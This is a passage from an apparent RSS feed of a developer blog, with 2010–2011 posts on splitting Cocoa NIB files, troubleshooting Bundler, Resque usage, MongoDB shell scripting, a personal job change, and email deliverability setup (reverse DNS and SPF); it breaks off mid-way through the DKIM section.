&lt;br style="clear:both; margin-bottom: 1em"&gt;&lt;/p&gt;&lt;p&gt;&lt;img src="/images/app_icons/virtualbox.png" style="background-color: rgba(0,0,0,0.65);border-radius: 8px;float: left;margin-right: 1em;"&gt;&lt;/p&gt;&lt;h3&gt;&lt;a href="http://www.virtualbox.org/"&gt;VirtualBox&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;For IE testing, I've tried Fusion, Parallel, and VirtualBox. Out of the 3, I
think VirtualBox has been the least buggy and simplest. It might not have
bells and whistles, but honestly, I just want to boot Windows and load
&lt;em&gt;shudder&lt;/em&gt; IE6 and 7. As an added bonus, there's libraries for controlling
VirtualBox programmatically.
&lt;br style="clear:both; margin-bottom: 1em"&gt;&lt;/p&gt;&lt;h2&gt;Do more with less&lt;/h2&gt;&lt;p&gt;I'm open minded about trying new apps, but more tools doesn't always mean more
productivity.  These apps represent a greatest hits list for the past year. It's
not a comprehensive list, but if any of these apps disappeared, I'd really be
hurting.&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/whatcodecraves/~4/mHbr8w9JhfU" height="1" width="1"/&gt;</description>
      <author>Jerry Cheung</author>
      <pubDate>Tue, 11 Jan 2011 00:00:00 +0000</pubDate>
      <link>http://feedproxy.google.com/~r/whatcodecraves/~3/mHbr8w9JhfU/my-web-development-toolbox-2010-edition</link>
    <feedburner:origLink>http://www.whatcodecraves.com/articles/2011/01/11/my-web-development-toolbox-2010-edition</feedburner:origLink></item>
    <item>
      <title>Modular Cocoa Interfaces</title>
      <description>&lt;p&gt;While iOS projects have the advantage of multiple NIB files, this is
not the default for development on OSX. When working on a Mac or iOS
project with more than one person, you quickly learn that attempting
to merge conflicted Interface Builder files or XCode project files can
only result in tears. But just because you can't work on the same NIB
doesn't mean that the productivity of the entire team should be
blocked by the one person editing MainMenu.xib. Cocoa allows you to
chop your UI into separate NIBs and control them with multiple
NSWindowControllers. Once you separate out different windows from
MainMenu, you're much less likely to conflict with your team. As an
added benefit, your UI will feel snappier because NIB loading will be
delayed until it's actually needed. I'll demonstrate this technique by
separating the Preferences window from the main window, a common and
easy case for refactoring.&lt;/p&gt;&lt;h2&gt;Code&lt;/h2&gt;&lt;p&gt;For starters, let's create a new NSWindowController subclass for
driving our Preferences window.  We'll name it PreferencesController.&lt;/p&gt;&lt;p&gt;The header:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;#import &amp;lt;Cocoa/Cocoa.h&amp;gt;
@interface PreferencesController : NSWindowController {
}
@end
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;The implementation:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;#import "PreferencesController.h"
@implementation PreferencesController

- (id) init {
  if(self = [super initWithWindowNibName:@"Preferences"]) {
  }
  return self;
}
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;The only difference from a generic NSWindowController is the custom
constructor. This controller will try to load a NIB named
"Preferences.xib" when it's -showWindow: method is called. In the
Xcode sidebar, right click Resources, Add File, User Interface, and
choose "Window XIB".  Name this xib "Preferences.xib".&lt;/p&gt;&lt;h2&gt;Interface Builder&lt;/h2&gt;&lt;p&gt;Next comes the error-prone step.  If you don't add all the right
connections in Interface Builder, then your new window will act
erratically.  It might not show up, it might not be in focus, it might
not close, or it might explode your Mac (unlikely, but not
impossible).  First, add an NSObject to your Document and change the
'Class' to 'PreferencesController'&lt;/p&gt;&lt;div class="thumbnail"&gt;&lt;a href="https://skitch.com/jollyjerry/rg3ir/preferences-controller-identity-2"&gt;&lt;img src="https://img.skitch.com/20101227-nmxnxp4na7p8mtgj15ea7ifhmm.preview.jpg" alt="Preferences Controller Identity-2"&gt;&lt;/a&gt;&lt;/div&gt;&lt;p&gt;&lt;br&gt;&lt;/p&gt;&lt;p&gt;To test that our NIB is loading properly, let's connect the
'Preferences' menu item to the showWindow: action.&lt;/p&gt;&lt;div class="thumbnail"&gt;&lt;a href="https://skitch.com/jollyjerry/rg3ix/menu-item-connections"&gt;&lt;img src="https://img.skitch.com/20101227-ecupcfjkk6s6nsxiwrpe6deyjy.preview.jpg" alt="Menu Item Connections"&gt;&lt;/a&gt;&lt;/div&gt;&lt;p&gt;&lt;br&gt;&lt;/p&gt;&lt;p&gt;We're almost there, but if you run the app now, you'll notice that the
Preferences window doesn't focus properly. While our "MainMenu.xib"
has a reference to PreferencesController, we forgot to let
Preferences.xib know that its owner is of type PreferencesController.
Open "Preferences.xib", and change "File's Owner" to
PreferencesController, and also set its "window" connection to point
to the window.&lt;/p&gt;&lt;div class="thumbnail"&gt;&lt;a href="https://skitch.com/jollyjerry/rg3ii/preferences-controller-connections"&gt;&lt;img src="https://img.skitch.com/20101227-qdrtdix38yxr41bp78583wjifm.preview.jpg" alt="Preferences Controller Connections"&gt;&lt;/a&gt;&lt;/div&gt;&lt;p&gt;&lt;br&gt;&lt;/p&gt;&lt;p&gt;If you Build and Run the project now, you should be able to open the
Preferences window from the menu and have the 2nd Preferences window
loaded. Open and close the Preference window a few times for good
measure too.  If something is acting funny, the most likely culprit is
a missing connection for "File's Owner" in "MainMenu.xib" or a missing
connection for the menu. Go over the steps again and recheck your
class identities and connections (cmd-5) in the inspector to make sure
everything is wired correctly.&lt;/p&gt;&lt;h2&gt;What's Next?&lt;/h2&gt;&lt;p&gt;From here, whenever you need to make changes to the Preferences
window, no changes need to be introduced to "MainMenu.xib". Controller
actions can be specified on PreferencesController, and Interface
Builder can access those actions by making connections to "File's
Owner". For a demo, check out &lt;a href="https://github.com/jch/cocoa-separate-nib-preferences"&gt;this account preferences
demo&lt;/a&gt;.
Hopefully, you can use this process in your project to cut down on
nasty merges.&lt;/p&gt;&lt;h2&gt;Resources&lt;/h2&gt;&lt;ul&gt;
&lt;li&gt;
&lt;a href="https://github.com/jch/cocoa-separate-nib-preferences"&gt;Account Preferences Example&lt;/a&gt; - a more fleshed out version of this article.&lt;/li&gt;
&lt;li&gt;
&lt;a href="http://developer.apple.com/library/mac/#documentation/Cocoa/Conceptual/WinPanel/WinPanel.html"&gt;Window Programming Guide&lt;/a&gt; - best starting place for anything related to windows.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://developer.apple.com/library/mac/#documentation/Cocoa/Conceptual/WinPanel/Concepts/UsingWindowController.html"&gt;NSWindowController description&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;
&lt;a href="http://developer.apple.com/library/mac/#documentation/Cocoa/Reference/ApplicationKit/Classes/NSWindowController_Class/Reference/Reference.html"&gt;NSWindowController Class Reference&lt;/a&gt; - as always, Apple's docs are a good place to start&lt;/li&gt;
&lt;li&gt;
&lt;a href="http://developer.apple.com/library/mac/#documentation/Cocoa/Conceptual/Documents/Documents.html#//apple_ref/doc/uid/10000006i"&gt;Introduction to Document-Based Applications Overview&lt;/a&gt; - looking at the Document architecture helps give you an understanding of how Window controllers and NIBs interact.&lt;/li&gt;
&lt;/ul&gt;&lt;img src="http://feeds.feedburner.com/~r/whatcodecraves/~4/KUY-XOgEkAY" height="1" width="1"/&gt;</description>
      <author>Jerry Cheung</author>
      <pubDate>Wed, 5 Jan 2011 00:00:00 +0000</pubDate>
      <link>http://feedproxy.google.com/~r/whatcodecraves/~3/KUY-XOgEkAY/modular-cocoa-interfaces</link>
    <feedburner:origLink>http://www.whatcodecraves.com/articles/2011/01/05/modular-cocoa-interfaces</feedburner:origLink></item>
    <item>
      <title>Fixing Common Bundler Problems</title>
      <description>&lt;p&gt;&lt;img src="/images/gembundler.png" style="float:left"&gt;
When &lt;a href="http://gembundler.com/"&gt;bundler&lt;/a&gt; first came out, I really wanted
to like it. It promised a clean way to declare dependencies on for
your application in a single place, and have that be definitive
regardless of what box your app was running on.  Unfortunately,
reality didn't match up with promises and I've had plenty of headaches
from bundler problems.  Read on for a list of tips I've pulled
together to save you some headache.&lt;/p&gt;&lt;h2&gt;Ensure you're local bundler is the same version as your server&lt;/h2&gt;&lt;p&gt;Different versions of bundler may act differently:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;bundle --version  # on your local machine and your server
sudo gem install bundler --version="0.9.26"
&lt;/code&gt;&lt;/pre&gt;&lt;h2&gt;Explicitly specify gem versions&lt;/h2&gt;&lt;p&gt;Did you know in HTTParty 0.4.5, there's no 'parsed_response' method on
a response object?  Well, neither did I when it worked fine on my
local laptop (0.6.1), but not on the server (0.4.5)&lt;/p&gt;&lt;pre&gt;&lt;code&gt;gem "httparty"  # bad times if your system gem is out of date...
gem "httparty", "~&amp;gt; 0.6.1"  # better, but...
gem "httparty", "0.6.1"     # ...why not just specify the version everyone should use?
&lt;/code&gt;&lt;/pre&gt;&lt;h2&gt;Check you're actually using gems installed by bundler&lt;/h2&gt;&lt;p&gt;Once in a while, bundler will report success on install, but you'll
get the wrong gems loaded in your load path.  Grep your load path to
double check libraries you're having trouble with&lt;/p&gt;&lt;pre&gt;&lt;code&gt;# in script/console
&amp;gt;&amp;gt; $:.grep /http/
=&amp;gt; ["/Users/jch/.bundle/ruby/1.8/gems/httparty-0.6.1/lib"]
&lt;/code&gt;&lt;/pre&gt;&lt;h2&gt;Gemfile conditionals&lt;/h2&gt;&lt;p&gt;bundler allows you to specify groups so only gems you need in one
environment are loaded:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;# we don't call the group :test because we don't want them auto-required
group :test do
  gem 'database_cleaner', '~&amp;gt; 0.5.0'
  gem 'rspec'
  gem 'rspec-rails', '~&amp;gt; 1.3.2', :require =&amp;gt; 'spec/rails'
end
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;All gems you specify in your Gemfile WILL be installed regardless of
what RAILS_ENV you're currently on.  There's a very deceptively named
option called --without that does not work as you would expect:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;# weird, but this will install gems in group test
bundle install --without=test
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;This can turn out to be a disaster if your production environment
tries to install a OSX specific gem with native extensions that you
use for development.  An ugly fix in the meantime is to add
conditionals that look for an environment variable:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;if ['test', 'cucumber'].include?(ENV['RAILS_ENV'])
  group :test do
    # your gems
  end
end
&lt;/code&gt;&lt;/pre&gt;&lt;h2&gt;Update your capistrano&lt;/h2&gt;&lt;p&gt;Don't forget to bundle when you deploy:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;after  "deploy:update_code", "deploy:bundle"
namespace :deploy do
  desc "Freeze dependencies"
  task :bundle, :roles =&amp;gt; :app do
    run "cd #{release_path} &amp;amp;&amp;amp; bundle install --relock --without=test"
  end
end
&lt;/code&gt;&lt;/pre&gt;&lt;h2&gt;NameErrors and autoloading issues&lt;/h2&gt;&lt;p&gt;Read &lt;a href="http://github.com/josevalim/inherited_resources/issues/issue/34"&gt;this
issue&lt;/a&gt;.
The fix is to skip the require in your Gemfile and do the require in
your environment.rb:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;# Gemfile
gem 'misbehaving_gem', :require_as =&amp;gt; []

# environment.rb
Rails::Initializer.run do |config|
  # ...
  config.gem 'misbehaving_gem'
  # ...
end
&lt;/code&gt;&lt;/pre&gt;&lt;h2&gt;Nuke .bundler&lt;/h2&gt;&lt;p&gt;When all else doesn't make sense, and you've pulled out what precious
little hair you have left:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;rm -rf RAILS_ROOT/.bundle      # removes gems for this project
rm -rf ~/.bundle               # removes cached gems for your current user
rm -rf RAILS_ROOT/Gemfile.lock # lets you do a fresh 'bundle install'

# do a fresh bundle install
bundle install
&lt;/code&gt;&lt;/pre&gt;&lt;h2&gt;Other&lt;/h2&gt;&lt;p&gt;Bundler is still a moving target as far as bugs goes.  It's getting
better with each release, so many of these issues might not exist by
the time you start using it.  Meanwhile, hopefully this list above is
will save you some time with bundler related headaches.  Let me know
in the comments if you've encountered other tips for resolving these
problems.&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/whatcodecraves/~4/VTJO1ikkdMw" height="1" width="1"/&gt;</description>
      <author>Jerry Cheung</author>
      <pubDate>Thu, 12 Aug 2010 00:00:00 +0000</pubDate>
      <link>http://feedproxy.google.com/~r/whatcodecraves/~3/VTJO1ikkdMw/fixing-common-bundler-problems</link>
    <feedburner:origLink>http://www.whatcodecraves.com/articles/2010/08/12/fixing-common-bundler-problems</feedburner:origLink></item>
    <item>
      <title>Resque Cheatsheet</title>
      <description>&lt;p&gt;&lt;img src="/images/octocat_happy.gif" style="float:left;margin-right:10px"&gt;
Coded and used by the &lt;a href="http://github.com/"&gt;Github&lt;/a&gt; team,
&lt;a href="http://github.com/defunkt/resque"&gt;Resque&lt;/a&gt; is a Ruby queue for
processing background jobs built on top of
&lt;a href="http://code.google.com/p/redis/"&gt;Redis&lt;/a&gt;.  So far, I'm really enjoying
the simple setup and simple API.  The documentation gives a lot of
good background information, and it's been working well overall.
Follow the jump for a day-to-day usage reference.&lt;/p&gt;&lt;p&gt;&lt;br style="clear:both"&gt;&lt;/p&gt;&lt;h2&gt;Status&lt;/h2&gt;&lt;pre&gt;&lt;code&gt;Resque.info
Resque.queues
Resque.redis
Resque.size(queue_name)

# check out what's coming next in the queue
#    Resque.peek(archive_queue)
#    Resque.peek(archive_queue, 1, 5)
#    Resque.peek(archive_queue, 59, 30)
Resque.peek(queue_name, start=1, count=1)
&lt;/code&gt;&lt;/pre&gt;&lt;h2&gt;Workers&lt;/h2&gt;&lt;pre&gt;&lt;code&gt;Resque.workers
Resque.working
Resque.remove_worker(worker_id) # find worker_id from one of the above methods
&lt;/code&gt;&lt;/pre&gt;&lt;h2&gt;Queue Management&lt;/h2&gt;&lt;pre&gt;&lt;code&gt;# For testing a worker, I usually call the 'perform' method directly.
#    Resque.enqueue(ArchiveWorker)
#    Resque.enqueue(ArchiveWorker, 'matching', 'arguments')
Resque.enqueue(klass, *args)
Resque.dequeue(klass, *args)
Resque.remove_queue(queue_name)
&lt;/code&gt;&lt;/pre&gt;&lt;h2&gt;Callbacks&lt;/h2&gt;&lt;pre&gt;&lt;code&gt;# Each of these can either take a block, or be assigned to with a Proc
Resque.before_first_fork(&amp;amp;blk)
Resque.before_fork(&amp;amp;blk)
Resque.after_fork(&amp;amp;blk)
&lt;/code&gt;&lt;/pre&gt;&lt;h2&gt;Problems&lt;/h2&gt;&lt;p&gt;Redis connects to wrong host - Redis connects to localhost:6379 by
default. Customize this by doing the following:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;Resque.redis = 'hostname:port:db'  # all 3 values are optional
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Workers die stop after first batch completes - This is caused by the
workers losing their connection to MySQL.  See &lt;a href="http://gist.github.com/250080"&gt;this
gist&lt;/a&gt; for a fix and an explanation.
Alternatively, you can add this line at the beginning of your
'perform' method:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;ActiveRecord::Base.reconnect!
&lt;/code&gt;&lt;/pre&gt;&lt;img src="http://feeds.feedburner.com/~r/whatcodecraves/~4/NNox54gR5Mg" height="1" width="1"/&gt;</description>
      <author>Jerry Cheung</author>
      <pubDate>Tue, 22 Jun 2010 00:00:00 +0000</pubDate>
      <link>http://feedproxy.google.com/~r/whatcodecraves/~3/NNox54gR5Mg/resque-cheatsheet</link>
    <feedburner:origLink>http://www.whatcodecraves.com/articles/2010/06/22/resque-cheatsheet</feedburner:origLink></item>
    <item>
      <title>New Beginnings: Starting with Intridea</title>
      <description>&lt;p&gt;&lt;a href="http://intridea.com"&gt;&lt;img src="/images/intridea-logo.png" style="float:left; padding-right: 20px; padding-top:10px"&gt;&lt;/a&gt;
Three weeks ago, I started as a full time software developer at
&lt;a href="http://intridea.com"&gt;Intridea&lt;/a&gt;.  It's been an absolute blast so far,
but it happened so quickly that I'm still somewhat dazed at how I got
here.  Just two month ago, I was in &lt;a href="http://flickr.com/mistamushu"&gt;Israel and Egypt visiting
Wendy&lt;/a&gt; and working on
&lt;a href="http://outspokes.com"&gt;Outspokes&lt;/a&gt;, and now I'm working with energetic
and talented individuals; all of whom I've never seen in real life
before, but many of whom I've heard of in the Ruby community.&lt;/p&gt;&lt;p&gt;Back in September, I quit my full time gig at
&lt;a href="http://coupa.com"&gt;Coupa&lt;/a&gt; to start Outspokes with Arthur and Sean.
The &lt;a href="/articles/2009/10/30/first_month_of_first_startup"&gt;first month&lt;/a&gt;
was like a morale roller coaster ride.  We had many ups and downs.  We
learned a lot of things.  We coded at superhuman speeds, and treated
ourselves like crap to execute more and to execute faster.  I'm proud
of what we accomplished, but I'm ashamed at myself for prioritizing
Outspokes before everything and everyone.  Friends who kept me company
late nights with baked pasta at &lt;a href="http://www.yelp.com/biz/shooting-star-cafe-oakland"&gt;Shooting Star
Cafe&lt;/a&gt;, my
supportive family, and most of all Wendy - Thank you.&lt;/p&gt;&lt;p&gt;Flash forward to last February, Wendy got a scholarship and was doing
chemical engineering research in Israel before she started grad
school.  I decided to visit her to make up for neglecting our
relationship.  Spending time away from the Silicon Valley and the
constant startup buzz cleared up a lot for me.  I realized my dreams
of making useful software and building a business weren't &lt;a href="/articles/2010/03/01/reaction-to-37signals-getting-real"&gt;mutually
exclusive&lt;/a&gt;
with all the wonderful things I loved in my life.  I don't have to
choose just one goal; I can have my cake and eat it too.  The ghost of
myself a year ago would've laughed that I'd grown soft.  But I'm not
making any compromises on my dreams.  I feel that I've actually
dispersed a lot of unnecessary pressure and am in a better place to
tackle my goals.&lt;/p&gt;&lt;p&gt;Clearing my head was like tipping over a line of dominos, and
everything started falling in place during that trip.  I decided to
put Outspokes on hold because I didn't understand the
freelance/consulting market I'm trying to help (more on this in
another post).  Wendy and I were having a great time traveling the
Middle East and making plans for when she returned to the states.  I
reconnected with a lot of old friends, made some new ones, and was
having a great time doing everything I enjoyed.&lt;/p&gt;&lt;p&gt;When I got home, I started to look at jobs near Pasadena, where
Wendy's starting grad school next September.  At first I was filled
with dread when I looked at the startup scene in southern California.
I couldn't find a business I felt passionate about.  The commute would
also sap any remaining soul in my body.  Meanwhile, my friends in SF
were offering to interview me, and tech companies I believed in were
recruiting.  I stuck to my guns and kept looking.&lt;/p&gt;&lt;p&gt;One day while I was reading my RSS feeds, I got the crazy idea to ask
some of the Ruby consultancies I respected for a job.  It was a spur
of the moment thing, and I thought it'd be kind of cool to talk to
these people whose posts I read everyday, even if they weren't in the
area or hiring.  I emailed
&lt;a href="http://intridea.com/about/people/naffis"&gt;Dave&lt;/a&gt; not knowing what to
say, other than to say hi and introduce myself.  Surprisingly, Dave
and &lt;a href="http://intridea.com/about/people/chris"&gt;Chris&lt;/a&gt; got back to me on
the phone.  I don't remember exactly what we talked about, but I do
remember that they didn't ask me any trick programming puzzles or BS
interview questions.  At the end of the call, they offered me a
part-time contracting position.&lt;/p&gt;&lt;p&gt;I was stoked to work with these guys.  It wasn't only because they had
a strong team who regularly contributes back to the open source
community and engages their audience.  I liked their enthusiasm for
technology and their professionalism towards their clients.  They made
fantastic looking and &lt;strong&gt;useful&lt;/strong&gt; products.  They had a great sense of
humor even though I've only heard them on Skype or through chat.  My
mom had to ask me why I was chuckling to myself when I read
co-workers' updates through &lt;a href="http://presently.com/"&gt;Presently&lt;/a&gt; and on
&lt;a href="http://campfirenow.com/"&gt;Campfire&lt;/a&gt;.  When they offered me a full-time
position a week later, I said "I'll talk it over with people and sleep
on it", but really I was thinking "Score!"&lt;/p&gt;&lt;p&gt;And that's the long-winded version of where I am and how I got to be
&lt;a href="http://intridea.com/about/people/jerry"&gt;an Intridean&lt;/a&gt;.&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/whatcodecraves/~4/1ZLr7r80tlA" height="1" width="1"/&gt;</description>
      <author>Jerry Cheung</author>
      <pubDate>Mon, 14 Jun 2010 00:00:00 +0000</pubDate>
      <link>http://feedproxy.google.com/~r/whatcodecraves/~3/1ZLr7r80tlA/starting-at-intridea</link>
    <feedburner:origLink>http://www.whatcodecraves.com/articles/2010/06/14/starting-at-intridea</feedburner:origLink></item>
    <item>
      <title>Getting Around in MongoDB</title>
      <description>&lt;p&gt;&lt;a href="http://mongodb.com"&gt;&lt;img src="/images/mongodb.png" style="float:right;padding-top:10px;padding-left:20px"&gt;&lt;/a&gt;
I started working with &lt;a href="http://www.mongodb.org"&gt;MongoDB&lt;/a&gt; a few days
ago.  To oversimplify, think of Mongo as a really big and fast hash
that gets saved to disk. It lets you query, retrieve, and manipulate
data in Javascript and &lt;a href="http://en.wikipedia.org/wiki/JSON"&gt;JSON&lt;/a&gt;.  I
had a ton of work to do, so I didn't get a chance to explore the
technology as much as I would've liked.  Today, after getting a solid
night's sleep, I got a chance to experiment more.  Read on to get some
quick tips about writing Mongo queries and generating reports from the
Mongo shell.&lt;/p&gt;&lt;p&gt;When I first started interacting with Mongo, I used the Ruby
&lt;a href="http://mongoid.org/"&gt;Mongoid&lt;/a&gt; adapter.  It gave me a familiar
ActiveRecord interface so I could accomplish things like:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;Beer.all(:conditions =&amp;gt; { :style =&amp;gt; "stout" })
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;But it also gave me a sneak peak at Mongo's 'criteria' API for querying&lt;/p&gt;&lt;pre&gt;&lt;code&gt;Beer.criteria.where(:style =&amp;gt; "stout")
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;It's worthwhile to note that criterias are lazily loaded, meaning
that the query isn't performed until you actually need to access the
data.&lt;/p&gt;&lt;pre&gt;&lt;code&gt;Beer.criteria.where(:style =&amp;gt; "stout")  # doesn't hit mongo
Beer.criteria.where(:style =&amp;gt; "stout").first.drink!  # executes actual query
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;This was all fine and dandy, but just like learning SQL and
ActiveRecord, having an understanding of the underlying system gives
you a better idea of what you can do.  So I busted out the &lt;a href="http://www.mongodb.org/display/DOCS/Overview+-+The+MongoDB+Interactive+Shell"&gt;mongo
shell&lt;/a&gt;
and started running queries.  The
&lt;a href="http://www.mongodb.org/display/DOCS/Tutorial#Tutorial"&gt;tutorial&lt;/a&gt; was
a good starting point for familiarizing myself with how to connect to
mongo, executing some queries, and printing out results.  My favorite
feature was that the mongo shell doubled as a Javascript interpreter.
I was able to write JS to manipulate the query results:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;function map(arr, func) {
  var collection = [];
  if(arr &amp;amp;&amp;amp; arr.length) {
    for(var i = 0; i &amp;lt; arr.length; i++) {
      collection.push(func(arr[i]));
    }
  }
  return collection;
}

db.beers.find().forEach(function(beer) {
  print(beer.name);
  print('--------------');
  map(beer.ingredients, function(ingredient) {
    print(beer.ingredient.quantity + ' - ' + beer.ingredient.name);
  });
});
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;I got pretty tired of copying and pasting this script every time I
edited it.  Thankfully, mongo shell lets you pass in script files to
execute:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;&amp;gt; mongo --help
MongoDB shell version: 1.4.0
usage: mongo [options] [db address] [file names (ending in .js)
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;This little feature enabled me to write more complex scripts and tweak
to my heart's content.  Something was still missing though.  I love
Javascript as a language, but nowadays, I've grown so accustomed to
jQuery that I'll start typing jQuery assuming it's available even when
it's not.&lt;/p&gt;&lt;pre&gt;&lt;code&gt;db.beers.find().forEach(function(beer) {
  // CURSES! JQuery isn't available :(
  $(beer.ingredients).each(function() {
    // ... do something
  });
})
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;My next genius idea: load jQuery as the first script:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;&amp;gt; mongo beerdb jquery-1.4.2.min.js reporting.js
JS Error: ReferenceError: window is not defined jquery-1.4.2.min.js:153
failed to load: jquery-1.4.2.min.js
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Noooooo! It makes a lot of sense that jQuery would assume a browser
environment, but I was hoping that it wouldn't require it for the nice
utility functions.&lt;/p&gt;&lt;p&gt;To get the job done, I wrote myself a small utility library:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;$ = {
  // &amp;gt; $.map([1,2,3,4], function(x) { return x*x; }
  // [1,4,9,16]
  map: function(arr, func) {
    var collection = [];
    if(arr &amp;amp;&amp;amp; arr.length) {
      for(var i=0; i&amp;lt;arr.length; i++) {
        collection.push(func(arr[i]));
      }
    }
    return collection;
  },

  // &amp;gt; $.max([1,2,3,4])
  // 4
  // &amp;gt; $.max([1,2,3,4], function(x) { return x*2; })
  // 8
  max: function(arr, func) {
    if(arr == undefined) { return arr; }
    var max = null;
    for(var i=0; i&amp;lt;arr.length; i++) {
      var current = (func ? func(arr[i]) : arr[i]);
      max = (current &amp;gt; max ? current : max);
    }
    return max;
  },
}
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;This didn't buy me the full power of JQuery, but at the same time, I
was pretty happy I was able to quickly whip together some JS and get
the reports I needed.&lt;/p&gt;&lt;p&gt;Does anyone know of a JS library that buys you a lot of core library
features and fixes, but doesn't assume a browser?  I looked at &lt;a href="http://ejohn.org/blog/bringing-the-browser-to-the-server/"&gt;John
Resig's
Env.js&lt;/a&gt;,
but even that assumes that you're running JS in
&lt;a href="http://www.mozilla.org/rhino/"&gt;Rhino&lt;/a&gt;.  What other Mongo tricks do
people find useful?&lt;/p&gt;&lt;h2&gt;Reference&lt;/h2&gt;&lt;p&gt;Here's the order I recommend reading the Mongo documentation.  The
Advanced Queries link was especially useful.&lt;/p&gt;&lt;ul&gt;
&lt;li&gt;&lt;a href="http://www.mongodb.org/display/DOCS/Tutorial#Tutorial"&gt;Mongo Tutorial&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.mongodb.org/display/DOCS/Overview+-+The+MongoDB+Interactive+Shell"&gt;Overview - The MongoDB Interactive Shell&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.mongodb.org/display/DOCS/dbshell+Reference"&gt;dbshell Reference&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.mongodb.org/display/DOCS/Advanced+Queries"&gt;Advanced Queries&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;&lt;p&gt;&lt;em&gt;All databases are fictional. No beers were harmed in the making of this blog post.&lt;/em&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/whatcodecraves/~4/YyxD-VHphck" height="1" width="1"/&gt;</description>
      <author>Jerry Cheung</author>
      <pubDate>Fri, 11 Jun 2010 00:00:00 +0000</pubDate>
      <link>http://feedproxy.google.com/~r/whatcodecraves/~3/YyxD-VHphck/getting-around-in-mongodb</link>
    <feedburner:origLink>http://www.whatcodecraves.com/articles/2010/06/11/getting-around-in-mongodb</feedburner:origLink></item>
    <item>
      <title>Email Delivery for Webapps</title>
      <description>&lt;p&gt;Delivering email is easy.  Having that email actually get received is
freaking hard.  In this era rife with spammers, if you don't jump
through several hoops of verifying yourself, your messages will be
automatically marked as spam during transit, and never see the light
of an inbox.  I didn't realize how tricky this was when I first
started sending out email for &lt;a href="http://outspokes.com"&gt;Outspokes&lt;/a&gt;, but
when our account activation and notification emails were always being
delivered to the spam folder, I dug deeper and learned quite a lot.
Follow the jump to save your future emails.&lt;/p&gt;&lt;h2&gt;The Right Way&lt;/h2&gt;&lt;p&gt;Before I share my personal experiences, I want to point out that the
fastest and most sensible way to guarantee good email deliverability
is to have someone else do it for you.  Rather than setting up your
own mail server and coming up with a solution that you have to
maintain yourself, there are smart dedicated teams working on this
problem on your behalf.  The cost of entry is so low that they're all
effectively free until the volume of you email you need is large
enough that you should generate enough revenue to cover the cost.
I'll cover a few hosted services like
&lt;a href="http://sendgrid.com/"&gt;Sendgrid&lt;/a&gt;, and
&lt;a href="http://postmarkapp.com/"&gt;Postmark&lt;/a&gt; in a separate blog post.&lt;/p&gt;&lt;h2&gt;Setting it Up Yourself&lt;/h2&gt;&lt;p&gt;Now that I've warned you of the easier path, here's the steps I took
to make sure our emails were actually delivered rather than canned
outright.&lt;/p&gt;&lt;h3&gt;Reverse DNS Points to your Hostname&lt;/h3&gt;&lt;p&gt;This is important when you're using a hosted environment.  Outspokes
uses &lt;a href="http://www.rackspace.com/"&gt;Rackspace&lt;/a&gt;, and the initial reverse
lookup of our IP address yielded a very spam-like looking domain:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;67-23-23-207.static.slicehost.net
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;From the control panel, I changed this value to a more sane-looking
'outspokes.com'.  To see what your current reverse dns entry is:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;dig -x 67.23.23.207    # your static IP address

# other useful commands
dig outspokes.com ANY  # show all DNS records for outspokes.com
dig @ns1.editdns.net outspokes.com  # ask editdns for outspokes records
&lt;/code&gt;&lt;/pre&gt;&lt;h3&gt;Setup DNS SPF Record&lt;/h3&gt;&lt;p&gt;SPF stands for &lt;a href="http://en.wikipedia.org/wiki/Sender_Policy_Framework"&gt;Sender Policy
Framework&lt;/a&gt;, and
is a DNS record that can be looked up to determine what servers are
allowed to send email for a given hostname.  For example, for
Outspokes, I only wanted the server with the static IP 67.23.23.207 to
be able to send email.  If a spam server tries to send email with a
'from address' of outspokes.com from a non-verified server, then that
email will be marked as spam and rightfully zapped from existence.&lt;/p&gt;&lt;p&gt;In your DNS, add a TXT record:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;v=spf1 a mx ~all
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;This allow servers listed in A and MX records to send email.  Some DNS
services don't support adding TXT records, so your mileage may vary
for getting this setup.&lt;/p&gt;&lt;h3&gt;Setup DKIM&lt;/h3&gt;&lt;p&gt;DKIM stands for &lt;a href="http://en.wikipedia.org/wiki/DomainKeys"&gt;DomainKeys&lt;/a&gt;,
and works similar in concept to SPF.  I followed a guide from the
